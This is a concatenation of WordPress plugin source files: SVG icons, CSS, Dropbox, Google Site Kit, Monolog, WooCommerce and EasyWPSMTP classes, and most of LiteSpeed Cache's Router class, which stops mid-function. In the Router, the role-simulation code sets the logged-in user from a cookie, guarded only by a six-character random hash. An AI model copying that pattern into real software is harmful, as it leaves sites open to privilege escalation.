	.st1{fill:none;stroke:#71D7F7;stroke-width:1.64;stroke-linecap:round;stroke-linejoin:round;}
	.st2{fill:none;stroke:#A4AFB7;stroke-width:1.64;stroke-linecap:round;stroke-linejoin:round;}
</style>
<g>
	<path class="st0" d="M27.2,14l2.2,0.8c0.7-0.8,1.7-1.2,3-1.3s2.5,1.8,3.7,5.8L33,21.8c2.9-1.5,2.8-1-0.3,1.4
		c-1.8,1.4-6.8,0.6-10,5.2c-1,1.4,1.2,8.2-0.1,9.3c-0.6,0.5-2.6-0.5-3.2,0c-0.4,0.3-0.8-1.1-1.1-4.2l-1.6-0.8l2.2-3.8l3.5,0.8
		c1.1-1.7,2.1-2.9,2.8-3.6s2-1.7,3.6-2.8c-0.5-1.3-0.9-2.3-1.3-3s-1.1-1.6-2.1-2.8L27.2,14z"/>
	<polygon class="st1" points="30.8,34.7 27.8,36.4 28.5,33 26.1,30.6 29.1,30.2 30.8,27.1 32.4,30.2 
		35.4,30.6 33.1,33 33.7,36.4 	"/>
	<path class="st2" d="M22.2,32c0-4.7,3.8-8.6,8.6-8.6s8.6,3.8,8.6,8.6s-3.8,8.6-8.6,8.6S22.2,36.8,22.2,32L22.2,32z
		"/>
	<path class="st2" d="M22.5,29.8c-0.1,0-0.1,0-0.2,0c-3.6,0-6.6-3-6.6-6.6s3-6.6,6.6-6.6s6.6,3,6.6,6.6
		c0,0.1,0,0.4,0,0.5c0.8-0.2,1.9-0.3,2.8-0.2c0.7,0,1.1,0.2,1.6,0.3c0-0.1,0-0.1,0-0.1c0-0.5-0.1-1.4-0.1-1.9l3.1-2.4
		c0.3-0.2,0.3-0.6,0.2-0.9l-2.9-5c-0.2-0.3-0.6-0.4-0.9-0.3l-3.6,1.5c-0.8-0.6-1.6-1.1-2.5-1.4l-0.6-3.8c0-0.3-0.3-0.6-0.7-0.6h-5.8
		c-0.4,0-0.7,0.3-0.7,0.6L18,13.1c-0.9,0.4-1.7,0.9-2.5,1.4L12,13.1c-0.3-0.1-0.7,0-0.9,0.3l-2.9,5c-0.2,0.3-0.1,0.7,0.2,0.9
		l3.1,2.4c-0.1,0.5-0.1,0.9-0.1,1.4s0,1,0.1,1.4L8.3,27c-0.3,0.2-0.3,0.6-0.2,0.9l2.9,5c0.2,0.3,0.6,0.4,0.9,0.3l3.6-1.5
		c0.8,0.6,1.6,1.1,2.5,1.4l0.6,3.8c0,0.3,0.3,0.6,0.7,0.6h4.6c-1-1.5-1.7-3.3-1.7-5.3C22.2,31.5,22.2,30.6,22.5,29.8z"/>
</g>
</svg><?php

/**
 * Dropbox Exception class
 * @author Ben Tadiar <ben@handcraftedbyben.co.uk>
 * @link https://github.com/benthedesigner/dropbox
 * @package Dropbox
 */
class Dropbox_Exception extends Exception {
}

class Dropbox_BadRequestException extends Exception {
}

class Dropbox_CurlException extends Exception {
}

class Dropbox_NotAcceptableException extends Exception {
}

class Dropbox_NotFoundException extends Exception {
}

class Dropbox_NotModifiedException extends Exception {
}

class Dropbox_UnsupportedMediaTypeException extends Exception {
}
<svg xmlns="http://www.w3.org/2000/svg" id="flag-icons-cv" viewBox="0 0 640 480">
  <defs>
    <clipPath id="cv-a">
      <path fill-opacity=".7" d="M-123.4 0h682.6v512h-682.6z"/>
    </clipPath>
  </defs>
  <g fill-rule="evenodd" clip-path="url(#cv-a)" transform="translate(115.7)scale(.94)">
    <path fill="#fff" d="M-123.4 233H723v206h-846.5z"/>
    <path fill="#081873" d="M-122.8 0h846v256.6h-846zm.3 385.9h852.1V512h-852.1z"/>
    <path fill="#de3929" d="M-122.5 302.6h846v39.6h-846z"/>
    <path fill="#ffce08" d="m131 399.2 6.6 20.4H159l-17.4 12.7 6.6 20.5L131 440l-17.4 12.7 6.7-20.5-17.4-12.7h21.5M317 250.4l6.7 20.5H345l-17.4 12.6 6.6 20.5-17.4-12.7-17.4 12.7 6.6-20.5-17.4-12.6h21.6m-222 64.4 6.6 20.5h21.5L99 368.6l6.7 20.4-17.4-12.6L70.9 389l6.6-20.4-17.4-12.7h21.5M317 329.5l6.7 20.4H345l-17.4 12.7 6.6 20.4-17.4-12.6-17.4 12.7 6.6-20.5-17.4-12.7h21.6m-40.5-161.7 6.7 20.4H298l-17.4 12.7 6.6 20.5-17.4-12.7-17.4 12.7 6.7-20.5-17.5-12.7h21.6m-64.5-45.2 6.7 20.5h21.5l-17.4 12.6 6.6 20.5-17.4-12.6-17.4 12.6 6.7-20.5-17.4-12.6H192m-64.5 2.9 6.7 20.5h21.5l-17.4 12.6 6.7 20.5-17.5-12.7-17.4 12.7 6.7-20.5-17.4-12.6H121m-34.8 43.2 6.6 20.5h21.6l-17.5 12.6 6.7 20.5-17.4-12.7-17.4 12.7 6.6-20.5L58 271h21.5m119.2 149.4 6.7 20.5h21.5l-17.4 12.6 6.7 20.5-17.5-12.7-17.4 12.7 6.7-20.5-17.4-12.6H192m82.2-41.7 6.6 20.4h21.5L285 432.3l6.7 20.5-17.4-12.7-17.5 12.7 6.7-20.5-17.4-12.7h21.5"/>
  </g>
</svg>
/* General styles. */

#outlook a {
	padding: 0;
}

.ExternalClass {
	width: 100%;
}

.ExternalClass, .ExternalClass p, .ExternalClass span, .ExternalClass font, .ExternalClass td, .ExternalClass div {
	line-height: 100%;
}

#backgroundTable {
	margin: 0;
	padding: 0;
	width: 100% !important;
	line-height: 100% !important;
}

/* Prevent blue links in subject. */
.stats-subject-heading a {
	color: inherit !important;
	text-decoration: none !important;
}

/* Mobile styles. */

@media only screen and (max-width: 599px) {
	table.body .container {
		width: 94% !important;
		max-width: 600px !important;
	}

	.header img {
		width: 240px !important;
		height: auto !important;
	}

	.content {
		padding: 30px !important;
	}

	.main-heading {
		font-size: 16px !important;
		line-height: 20px !important;
	}

	.main-description {
		margin-bottom: 20px !important;
	}

	.stats-totals-wrapper.two .stats-totals-item-wrapper {
		width: 50% !important;
	}

	.stats-totals-wrapper.three .stats-totals-item-wrapper {
		width: 33.3% !important;
	}

	.stats-totals-wrapper.four .stats-totals-item-wrapper {
		width: 25% !important;
	}

	.stats-totals-wrapper {
		border-collapse: separate !important;
		border: 1px solid #DDDDDD !important;
		border-radius: 4px !important;
	}

	.stats-total-item {
		width: 100% !important;
		min-width: 100% !important;
	}

	.stats-total-item-inner {
		border: none !important;
	}

	.stats-total-item-icon-wrapper {
		height: 24px !important;
	}

	.stats-total-item-icon {
		width: 24px !important;
		height: 24px !important;
	}

	.stats-totals-wrapper.three .stats-total-item-title,
	.stats-totals-wrapper.four .stats-total-item-title {
		display: none !important;
	}

	.stats-total-item-value {
		font-size: 18px !important;
		line-height: 22px !important;
	}

	.stats-total-item-percent {
		font-size: 12px !important;
		line-height: 14px !important;
	}

	.stats-total-item-percent img {
		width: 9px !important;
		height: 9px !important;
	}

	.stats-heading th {
		display: block !important;
		width: 100% !important;
		min-width: 100% !important;
		padding-right: 0 !important;
		padding-left: 0 !important;
		text-align: center !important;
	}

	.stats-heading .first-col {
		padding-top: 20px !important;
		padding-bottom: 5px !important;
	}

	.stats-heading .second-col {
		padding-top: 0 !important;
		padding-bottom: 20px !important;
	}

	.stats-heading h2 {
		text-align: center !important;
		font-size: 15px !important;
		line-height: 18px !important;
	}

	.stats-heading a {
		font-size: 13px !important;
		line-height: 16px !important;
	}

	.stats-subject-heading {
		text-align: center !important;
	}

	.stats-subject-row {
		text-align: center !important;
	}

	.stats-subject-column.total,
	.stats-subject-column.sent,
	.stats-subject-column.confirmed,
	.stats-subject-column.unconfirmed,
	.stats-subject-column.unsent {
		max-width: 64px !important;
	}

	.stats-subject-column.opened,
	.stats-subject-column.clicked {
		max-width: 111px !important;
	}

	.spacer-40 {
		line-height: 20px !important;
		height: 20px !important;
	}

	.upgrade-heading {
		font-size: 18px !important;
		line-height: 22px !important;
	}

	.upgrade-text {
		font-size: 14px !important;
		line-height: 20px !important;
	}
}

@media only screen and (max-width: 360px) {
	.content {
		padding: 20px !important;
	}

	.stats-subject-column.total,
	.stats-subject-column.sent,
	.stats-subject-column.confirmed,
	.stats-subject-column.unconfirmed,
	.stats-subject-column.unsent {
		max-width: 61px !important;
	}
}

/* Dark Mode. */

@media (prefers-color-scheme: dark) {
	.dark-body-bg {
		background: #1C1E20 !important;
	}

	.dark-content-bg {
		background: #23282C !important;
	}

	.dark-bg {
		background: #202326 !important;
	}

	.dark-white-color {
		color: #ffffff !important;
	}

	.dark-img {
		display: block !important;
		width: auto !important;
		overflow: visible !important;
		float: none !important;
		max-height: inherit !important;
		max-width: inherit !important;
		line-height: auto !important;
		margin-top: 0px !important;
		visibility: inherit !important;
	}

	.light-img {
		display: none;
		display: none !important;
	}

	.stats-total-item-inner,
	.stats-heading {
		border-color: #395360 !important;
	}

	.stats-subject-column-value,
	.stats-total-item-percent,
	.footer {
		color: #8C8F94 !important;
	}

	.stats-subject-column-value span {
		color: #4A5057 !important;
	}

	.upgrade-text {
		color: #8C8F94 !important;
	}
}

/* Dark Mode Outlook. */

[data-ogsc] .dark-body-bg {
	background: #1C1E20 !important;
}

[data-ogsc] .dark-content-bg {
	background: #23282C !important;
}

[data-ogsc] .dark-bg {
	background: #202326 !important;
}

[data-ogsc] .dark-white-color {
	color: #ffffff !important;
}

[data-ogsc] .dark-img {
	display: block !important;
	width: auto !important;
	overflow: visible !important;
	float: none !important;
	max-height: inherit !important;
	max-width: inherit !important;
	line-height: auto !important;
	margin-top: 0px !important;
	visibility: inherit !important;
}

[data-ogsc] .light-img {
	display: none;
	display: none !important;
}

[data-ogsc] .stats-total-item-inner,
[data-ogsc] .stats-heading {
	border-color: #395360 !important;
}

[data-ogsc] .stats-subject-column-value,
[data-ogsc] .stats-total-item-percent,
[data-ogsc] .footer {
	color: #8C8F94 !important;
}

[data-ogsc] .stats-subject-column-value span {
	color: #4A5057 !important;
}

[data-ogsc] .upgrade-text {
	color: #8C8F94 !important;
}
<?php

/*
 * Copyright 2014 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
 * use this file except in compliance with the License. You may obtain a copy of
 * the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations under
 * the License.
 */
namespace Google\Site_Kit_Dependencies\Google\Service\AnalyticsData;

class Row extends \Google\Site_Kit_Dependencies\Google\Collection
{
    protected $collection_key = 'metricValues';
    protected $dimensionValuesType = DimensionValue::class;
    protected $dimensionValuesDataType = 'array';
    protected $metricValuesType = MetricValue::class;
    protected $metricValuesDataType = 'array';
    /**
     * List of requested dimension values. In a PivotReport, dimension_values are
     * only listed for dimensions included in a pivot.
     *
     * @param DimensionValue[] $dimensionValues
     */
    public function setDimensionValues($dimensionValues)
    {
        $this->dimensionValues = $dimensionValues;
    }
    /**
     * @return DimensionValue[]
     */
    public function getDimensionValues()
    {
        return $this->dimensionValues;
    }
    /**
     * List of requested visible metric values.
     *
     * @param MetricValue[] $metricValues
     */
    public function setMetricValues($metricValues)
    {
        $this->metricValues = $metricValues;
    }
    /**
     * @return MetricValue[]
     */
    public function getMetricValues()
    {
        return $this->metricValues;
    }
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(Row::class, 'Google\Site_Kit_Dependencies\Google_Service_AnalyticsData_Row');
export const PAYMENT_METHOD_NAME = 'cod';
<?php

declare (strict_types=1);
/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace WPMailSMTP\Vendor\Monolog\Processor;

/**
 * Adds value of getmypid into records
 *
 * @author Andreas Hörnicke
 */
class ProcessIdProcessor implements \WPMailSMTP\Vendor\Monolog\Processor\ProcessorInterface
{
    /**
     * {@inheritDoc}
     */
    public function __invoke(array $record) : array
    {
        $record['extra']['process_id'] = \getmypid();
        return $record;
    }
}
<?php
/**
 * WooCommerce Admin: EU VAT Number Note.
 *
 * Adds a note for EU store to install the EU VAT Number extension.
 */

namespace Automattic\WooCommerce\Internal\Admin\Notes;

defined( 'ABSPATH' ) || exit;

use \Automattic\WooCommerce\Admin\Notes\Note;
use \Automattic\WooCommerce\Admin\Notes\NoteTraits;

/**
 * EU_VAT_Number
 */
class EUVATNumber {
	/**
	 * Note traits.
	 */
	use NoteTraits;

	/**
	 * Name of the note for use in the database.
	 */
	const NOTE_NAME = 'wc-admin-eu-vat-number';

	/**
	 * Get the note.
	 *
	 * @return Note
	 */
	public static function get_note() {
		if ( 'yes' !== get_option( 'wc_connect_taxes_enabled', 'no' ) ) {
			return;
		}

		$country_code = WC()->countries->get_base_country();
		$eu_countries = WC()->countries->get_european_union_countries();
		if ( ! in_array( $country_code, $eu_countries, true ) ) {
			return;
		}

		$content = __( "If your store is based in the EU, we recommend using the EU VAT Number extension in addition to automated taxes. It provides your checkout with a field to collect and validate a customer's EU VAT number, if they have one.", 'woocommerce' );

		$note = new Note();
		$note->set_title( __( 'Collect and validate EU VAT numbers at checkout', 'woocommerce' ) );
		$note->set_content( $content );
		$note->set_content_data( (object) array() );
		$note->set_type( Note::E_WC_ADMIN_NOTE_MARKETING );
		$note->set_name( self::NOTE_NAME );
		$note->set_source( 'woocommerce-admin' );
		$note->add_action(
			'learn-more',
			__( 'Learn more', 'woocommerce' ),
			'https://woocommerce.com/products/eu-vat-number/?utm_medium=product',
			Note::E_WC_ADMIN_NOTE_ACTIONED
		);
		return $note;
	}
}
<?php

namespace EasyWPSMTP\Admin;

/**
 * Class PageInterface defines what should be in each page class.
 *
 * @since 2.0.0
 */
interface PageInterface {

	/**
	 * URL to a tab.
	 *
	 * @since 2.0.0
	 *
	 * @return string
	 */
	public function get_link();

	/**
	 * Title of a tab.
	 *
	 * @since 2.0.0
	 *
	 * @return string
	 */
	public function get_title();

	/**
	 * Link label of a tab.
	 *
	 * @since 2.0.0
	 *
	 * @return string
	 */
	public function get_label();

	/**
	 * Tab content.
	 *
	 * @since 2.0.0
	 */
	public function display();
}
/** FB LWI Ads widget iframe */
.fb-lwi-ads-creation.fb_iframe_widget,
.fb-lwi-ads-insights.fb_iframe_widget {
	background: #FFF;
	box-shadow: 0 0 3px rgba( 0, 0, 0, 0.2 );
	color: #050505;
	display: block;
	margin-bottom: 20px;
	width: 1000px;
}

.fb-lwi-ads-insights.fb_iframe_widget span,
.fb-lwi-ads-insights.fb_iframe_widget iframe {
	width: 1000px !important;
}

/** when the remote content of the LWI Ads widget isn't ready yet, the div doesn't have the .fb_iframe_widget class yet, so we could use this difference to improve the UX during the loading state */
.fb-lwi-ads-creation,
.fb-lwi-ads-insights {
	margin-bottom: 0;
	width: 0;
}
/** similarly, we can display some text message, which would then persist if the widget fails to load */
.fb-lwi-ads-creation::after {
	display: block;
	content: attr(data-title);
	width: 1000px;
}
.fb-lwi-ads-creation.fb_iframe_widget:after {
	content: none;
	display: none;
	width: 0;
}
<?php
/**
 * The core plugin router class.
 *
 * This generate the valid action.
 *
 * @since      	1.1.0
 * @since  		1.5 Moved into /inc
 */
namespace LiteSpeed;
defined('WPINC') || exit();

class Router extends Base
{
	const NONCE = 'LSCWP_NONCE';
	const ACTION = 'LSCWP_CTRL';

	const ACTION_SAVE_SETTINGS_NETWORK = 'save-settings-network';
	const ACTION_DB_OPTM = 'db_optm';
	const ACTION_PLACEHOLDER = 'placeholder';
	const ACTION_AVATAR = 'avatar';
	const ACTION_SAVE_SETTINGS = 'save-settings';
	const ACTION_CLOUD = 'cloud';
	const ACTION_CDN_SETUP = 'cdn_setup';
	const ACTION_IMG_OPTM = 'img_optm';
	const ACTION_HEALTH = 'health';
	const ACTION_CRAWLER = 'crawler';
	const ACTION_PURGE = 'purge';
	const ACTION_CONF = 'conf';
	const ACTION_ACTIVATION = 'activation';
	const ACTION_CSS = 'css';
	const ACTION_UCSS = 'ucss';
	const ACTION_VPI = 'vpi';
	const ACTION_PRESET = 'preset';
	const ACTION_IMPORT = 'import';
	const ACTION_REPORT = 'report';
	const ACTION_DEBUG2 = 'debug2';
	const ACTION_CDN_CLOUDFLARE = 'CDN\Cloudflare';

	// List all handlers here
	private static $_HANDLERS = array(
		self::ACTION_ACTIVATION,
		self::ACTION_AVATAR,
		self::ACTION_CDN_CLOUDFLARE,
		self::ACTION_CLOUD,
		self::ACTION_CDN_SETUP,
		self::ACTION_CONF,
		self::ACTION_CRAWLER,
		self::ACTION_CSS,
		self::ACTION_UCSS,
		self::ACTION_VPI,
		self::ACTION_DB_OPTM,
		self::ACTION_DEBUG2,
		self::ACTION_HEALTH,
		self::ACTION_IMG_OPTM,
		self::ACTION_PRESET,
		self::ACTION_IMPORT,
		self::ACTION_PLACEHOLDER,
		self::ACTION_PURGE,
		self::ACTION_REPORT,
	);

	const TYPE = 'litespeed_type';

	const ITEM_HASH = 'hash';

	private static $_esi_enabled;
	private static $_is_ajax;
	private static $_is_logged_in;
	private static $_ip;
	private static $_action;
	private static $_is_admin_ip;
	private static $_frontend_path;

	/**
	 * Redirect to self to continue operation
	 *
	 * Note: must return when use this func. CLI/Cron call won't die in this func.
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function self_redirect($action, $type)
	{
		if (defined('LITESPEED_CLI') || defined('DOING_CRON')) {
			Admin_Display::succeed('To be continued'); // Show for CLI
			return;
		}

		// Add i to avoid browser too many redirected warning
		$i = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0;
		$i++;

		$link = Utility::build_url($action, $type, false, null, array('litespeed_i' => $i));

		$url = html_entity_decode($link);
		exit("<meta http-equiv='refresh' content='0;url=$url'>");
	}

	/**
	 * Check if can run optimize
	 *
	 * @since  1.3
	 * @since  2.3.1 Relocated from cdn.cls
	 * @access public
	 */
	public function can_optm()
	{
		$can = true;

		if (is_user_logged_in() && $this->conf(self::O_OPTM_GUEST_ONLY)) {
			$can = false;
		} elseif (is_admin()) {
			$can = false;
		} elseif (is_feed()) {
			$can = false;
		} elseif (is_preview()) {
			$can = false;
		} elseif (self::is_ajax()) {
			$can = false;
		}

		if (self::_is_login_page()) {
			Debug2::debug('[Router] Optm bypassed: login/reg page');
			$can = false;
		}

		$can_final = apply_filters('litespeed_can_optm', $can);

		if ($can_final != $can) {
			Debug2::debug('[Router] Optm bypassed: filter');
		}

		return $can_final;
	}

	/**
	 * Check referer page to see if its from admin
	 *
	 * @since 2.4.2.1
	 * @access public
	 */
	public static function from_admin()
	{
		return !empty($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], get_admin_url()) === 0;
	}

	/**
	 * Check if it can use CDN replacement
	 *
	 * @since  1.2.3
	 * @since  2.3.1 Relocated from cdn.cls
	 * @access public
	 */
	public static function can_cdn()
	{
		$can = true;

		if (is_admin()) {
			if (!self::is_ajax()) {
				Debug2::debug2('[Router] CDN bypassed: is not ajax call');
				$can = false;
			}

			if (self::from_admin()) {
				Debug2::debug2('[Router] CDN bypassed: ajax call from admin');
				$can = false;
			}
		} elseif (is_feed()) {
			$can = false;
		} elseif (is_preview()) {
			$can = false;
		}

		/**
		 * Bypass cron to avoid deregister jq notice `Do not deregister the <code>jquery-core</code> script in the administration area.`
		 * @since  2.7.2
		 */
		if (defined('DOING_CRON')) {
			$can = false;
		}

		/**
		 * Bypass login/reg page
		 * @since  1.6
		 */
		if (self::_is_login_page()) {
			Debug2::debug('[Router] CDN bypassed: login/reg page');
			$can = false;
		}

		/**
		 * Bypass post/page link setting
		 * @since 2.9.8.5
		 */
		$rest_prefix = function_exists('rest_get_url_prefix') ? rest_get_url_prefix() : apply_filters('rest_url_prefix', 'wp-json');
		if (
			!empty($_SERVER['REQUEST_URI']) &&
			strpos($_SERVER['REQUEST_URI'], $rest_prefix . '/wp/v2/media') !== false &&
			isset($_SERVER['HTTP_REFERER']) &&
			strpos($_SERVER['HTTP_REFERER'], 'wp-admin') !== false
		) {
			Debug2::debug('[Router] CDN bypassed: wp-json on admin page');
			$can = false;
		}

		$can_final = apply_filters('litespeed_can_cdn', $can);

		if ($can_final != $can) {
			Debug2::debug('[Router] CDN bypassed: filter');
		}

		return $can_final;
	}

	/**
	 * Check if is login page or not
	 *
	 * @since  2.3.1
	 * @access protected
	 */
	protected static function _is_login_page()
	{
		if (in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'), true)) {
			return true;
		}

		return false;
	}

	/**
	 * UCSS/Crawler role simulator
	 *
	 * @since  1.9.1
	 * @since  3.3 Renamed from `is_crawler_role_simulation`
	 */
	public function is_role_simulation()
	{
		if (is_admin()) {
			return;
		}

		if (empty($_COOKIE['litespeed_role']) || empty($_COOKIE['litespeed_hash'])) {
			return;
		}

		Debug2::debug('[Router] starting role validation');

		// Check if is from crawler
		// if ( empty( $_SERVER[ 'HTTP_USER_AGENT' ] ) || strpos( $_SERVER[ 'HTTP_USER_AGENT' ], Crawler::FAST_USER_AGENT ) !== 0 ) {
		// 	Debug2::debug( '[Router] user agent not match' );
		// 	return;
		// }

		// Hash validation
		$hash = self::get_option(self::ITEM_HASH);
		if (!$hash || $_COOKIE['litespeed_hash'] != $hash) {
			Debug2::debug('[Router] hash not match ' . $_COOKIE['litespeed_hash'] . ' != ' . $hash);
			return;
		}

		$role_uid = $_COOKIE['litespeed_role'];
		Debug2::debug('[Router] role simulate litespeed_role uid ' . $role_uid);

		wp_set_current_user($role_uid);
	}

	/**
	 * Get a security hash
	 *
	 * @since  3.3
	 */
	public static function get_hash()
	{
		// Reuse previous hash if existed
		$hash = self::get_option(self::ITEM_HASH);
		if ($hash) {
			return $hash;
		}

		$hash = Str::rrand(6);
		self::update_option(self::ITEM_HASH, $hash);
		return $hash;
	}

	/**
	 * Get user role
	 *
	 * @since  1.6.2
	 */
	public static function get_role($uid = null)
	{
		if (defined('LITESPEED_WP_ROLE')) {
			return LITESPEED_WP_ROLE;
		}

		if ($uid === null) {
			$uid = get_current_user_id();
		}

		$role = false;
		if ($uid) {
			$user = get_userdata($uid);
			if (isset($user->roles) && is_array($user->roles)) {
				$tmp = array_values($user->roles);
				$role = implode(',', $tmp); // Combine for PHP5.3 const comaptibility
			}
		}
		Debug2::debug('[Router] get_role: ' . $role);

		if (!$role) {
			return $role;
			// Guest user
			Debug2::debug('[Router] role: guest');

			/**
			 * Fix double login issue
			 * The previous user init refactoring didn't fix this bcos this is in login process and the user role could change
			 * @see  https://github.com/litespeedtech/lscache_wp/commit/69e7bc71d0de5cd58961bae953380b581abdc088
			 * @since  2.9.8 Won't assign const if in login process
			 */
			if (substr_compare(wp_login_url(), $GLOBALS['pagenow'], -strlen($GLOBALS['pagenow'])) === 0) {
				return $role;
			}
		}

		define('LITESPEED_WP_ROLE', $role);

		return LITESPEED_WP_ROLE;
	}

	/**
	 * Get frontend path
	 *
	 * @since 1.2.2
	 * @access public
	 * @return boolean
	 */
	public static function frontend_path()
	{
		//todo: move to htaccess.cls ?
		if (!isset(self::$_frontend_path)) {
			$frontend = rtrim(ABSPATH, '/'); // /home/user/public_html/frontend
			// get home path failed. Trac ticket #37668 (e.g. frontend:/blog backend:/wordpress)
			if (!$frontend) {
				Debug2::debug('[Router] No ABSPATH, generating from home option');
				$frontend = parse_url(get_option('home'));
				$frontend = !empty($frontend['path']) ? $frontend['path'] : '';
				$frontend = $_SERVER['DOCUMENT_ROOT'] . $frontend;
			}
			$frontend = realpath($frontend);

			self::$_frontend_path = $frontend;
		}
		return self::$_frontend_path;
	}

	/**
	 * Check if ESI is enabled or not
	 *
	 * @since 1.2.0
	 * @access public
	 * @return boolean
	 */
	public function esi_enabled()
	{
		if (!isset(self::$_esi_enabled)) {
			self::$_esi_enabled = defined('LITESPEED_ON') && $this->conf(self::O_ESI);
			if (!empty($_REQUEST[self::ACTION])) {
				self::$_esi_enabled = false;
			}
		}
		return self::$_esi_enabled;
	}

	/**
	 * Check if crawler is enabled on server level
	 *
	 * @since 1.1.1
	 * @access public
	 */
	public static function can_crawl()
	{
		if (isset($_SERVER['X-LSCACHE']) && strpos($_SERVER['X-LSCACHE'], 'crawler') === false) {
			return false;
		}

		// CLI will bypass this check as crawler library can always do the 428 check
		if (defined('LITESPEED_CLI')) {
			return true;
		}

		return true;
	}

	/**
	 * Check action
	 *
	 * @since 1.1.0
	 * @access public
	 * @return string
	 */
	public static function get_action()
	{
		if (!isset(self::$_action)) {
			self::$_action = false;
			self::cls()->verify_action();
			if (self::$_action) {
				defined('LSCWP_LOG') && Debug2::debug('[Router] LSCWP_CTRL verified: ' . var_export(self::$_action, true));
			}
		}
		return self::$_action;
	}

	/**
	 * Check if is logged in
	 *
	 * @since 1.1.3
	 * @access public
	 * @return boolean
	 */
	public static function is_logged_in()
	{
		if (!isset(self::$_is_logged_in)) {
			self::$_is_logged_in = is_user_logged_in();
		}
		return self::$_is_logged_in;
	}

	/**
	 * Check if is ajax call
	 *
	 * @since 1.1.0
	 * @access public
	 * @return boolean
	 */
	public static function is_ajax()
	{
		if (!isset(self::$_is_ajax)) {
			self::$_is_ajax = defined('DOING_AJAX') && DOING_AJAX;
		}
		return self::$_is_ajax;
	}

	/**
	 * Check if is admin ip
	 *
	 * @since 1.1.0
	 * @access public
	 * @return boolean
	 */
	public function is_admin_ip()
	{
		if (!isset(self::$_is_admin_ip)) {
			$ips = $this->conf(self::O_DEBUG_IPS);

			self::$_is_admin_ip = $this->ip_access($ips);
		}
		return self::$_is_admin_ip;
	}

	/**
	 * Get type value
	 *
	 * @since 1.6
	 * @access public
	 */
	public static function verify_type()
	{
		if (empty($_REQUEST[self::TYPE])) {
			Debug2::debug('[Router] no type', 2);
			return false;
		}

		Debug2::debug('[Router] parsed type: ' . $_REQUEST[self::TYPE], 2);

		return $_REQUEST[self::TYPE];
	}

	/**
	 * Check privilege and nonce for the action
	 *
	 * @since 1.1.0
	 * @access private
	 */
	private function verify_action()
	{
		if (empty($_REQUEST[Router::ACTION])) {
			Debug2::debug2('[Router] LSCWP_CTRL bypassed empty');
			return;
		}

		$action = stripslashes($_REQUEST[Router::ACTION]);

		if (!$action) {
			return;
		}

		$_is_public_action = false;

		// Each action must have a valid nonce unless its from admin ip and is public action
		// Validate requests nonce (from admin logged in page or cli)
		if (!$this->verify_nonce($action)) {
			// check if it is from admin ip
			if (!$this->is_admin_ip()) {
				Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP: ' . $action);
				return;
			}

			// check if it is public action
			if (
				!in_array($action, array(
					Core::ACTION_QS_NOCACHE,
					Core::ACTION_QS_PURGE,
					Core::ACTION_QS_PURGE_SINGLE,
					Core::ACTION_QS_SHOW_HEADERS,
					Core::ACTION_QS_PURGE_ALL,
					Core::ACTION_QS_PURGE_EMPTYCACHE,
				))
			) {
				Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP Actions: ' . $action);
				return;
			}

			if (apply_filters('litespeed_qs_forbidden', false)) {
				Debug2::debug('[Router] LSCWP_CTRL forbidden by hook litespeed_qs_forbidden');
				return;
			}

			$_is_public_action = true;
		}

		/* Now it is a valid action, lets log and check the permission */
		Debug2::debug('[Router] LSCWP_CTRL: ' . $action);

		// OK, as we want to do something magic, lets check if its allowed
		$_is_multisite = is_multisite();
		$_is_network_admin = $_is_multisite && is_network_admin();
		$_can_network_option = $_is_network_admin && current_user_can('manage_network_options');
		$_can_option = current_user_can('manage_options');

		switch ($action) {
			// Save network settings
			case self::ACTION_SAVE_SETTINGS_NETWORK:
				if ($_can_network_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_PURGE_BY:
				if (defined('LITESPEED_ON') && ($_can_network_option || $_can_option || self::is_ajax())) {
					//here may need more security
					self::$_action = $action;
				}
				return;

			case self::ACTION_DB_OPTM:
				if ($_can_network_option || $_can_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_PURGE_EMPTYCACHE: // todo: moved to purge.cls type action
				if (defined('LITESPEED_ON') && ($_can_network_option || (!$_is_multisite && $_can_option))) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_QS_NOCACHE:
			case Core::ACTION_QS_PURGE:
			case Core::ACTION_QS_PURGE_SINGLE:
			case Core::ACTION_QS_SHOW_HEADERS:
			case Core::ACTION_QS_PURGE_ALL:
			case Core::ACTION_QS_PURGE_EMPTYCACHE:
				if (defined('LITESPEED_ON') && ($_is_public_action || self::is_ajax())) {
					self::$_action = $action;
				}
				return;

			case self::ACTION_PLACEHOLDER:
			case self::ACTION_AVATAR:
			case self::ACTION_IMG_OPTM:
			case self::ACTION_CLOUD:
			case self::ACTION_CDN_SETUP:
			case self::ACTION_CDN_CLOUDFLARE:
			case self::ACTION_CRAWLER:
			case self::ACTION_PRESET:
			case self::ACTION_IMPORT:
			case self::ACTION_REPORT:
			case self::ACTION_CSS:
			case self::ACTION_UCSS:
			case self::ACTION_VPI:
			case self::ACTION_CONF:
			case self::ACTION_ACTIVATION:
			case self::ACTION_HEALTH:
			case self::ACTION_SAVE_SETTINGS: // Save settings
				if ($_can_option && !$_is_network_admin) {
					self::$_action = $action;
				}
				return;

			case self::ACTION_PURGE:
			case self::ACTION_DEBUG2:
				if ($_can_network_option || $_can_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_DISMISS:
				/**
				 * Non ajax call can dismiss too
				 * @since  2.9
				 */
				// if ( self::is_ajax() ) {
				self::$_action = $action;
				// }
				return;

			default:
				Debug2::debug('[Router] LSCWP_CTRL match falied: ' . $action);
				return;
		}
	}

	/**
	 * Verify nonce
	 *
	 * @since 1.1.0
	 * @access public
	 * @param  string $action
	 * @return bool
	 */
	public function verify_nonce($action)
	{
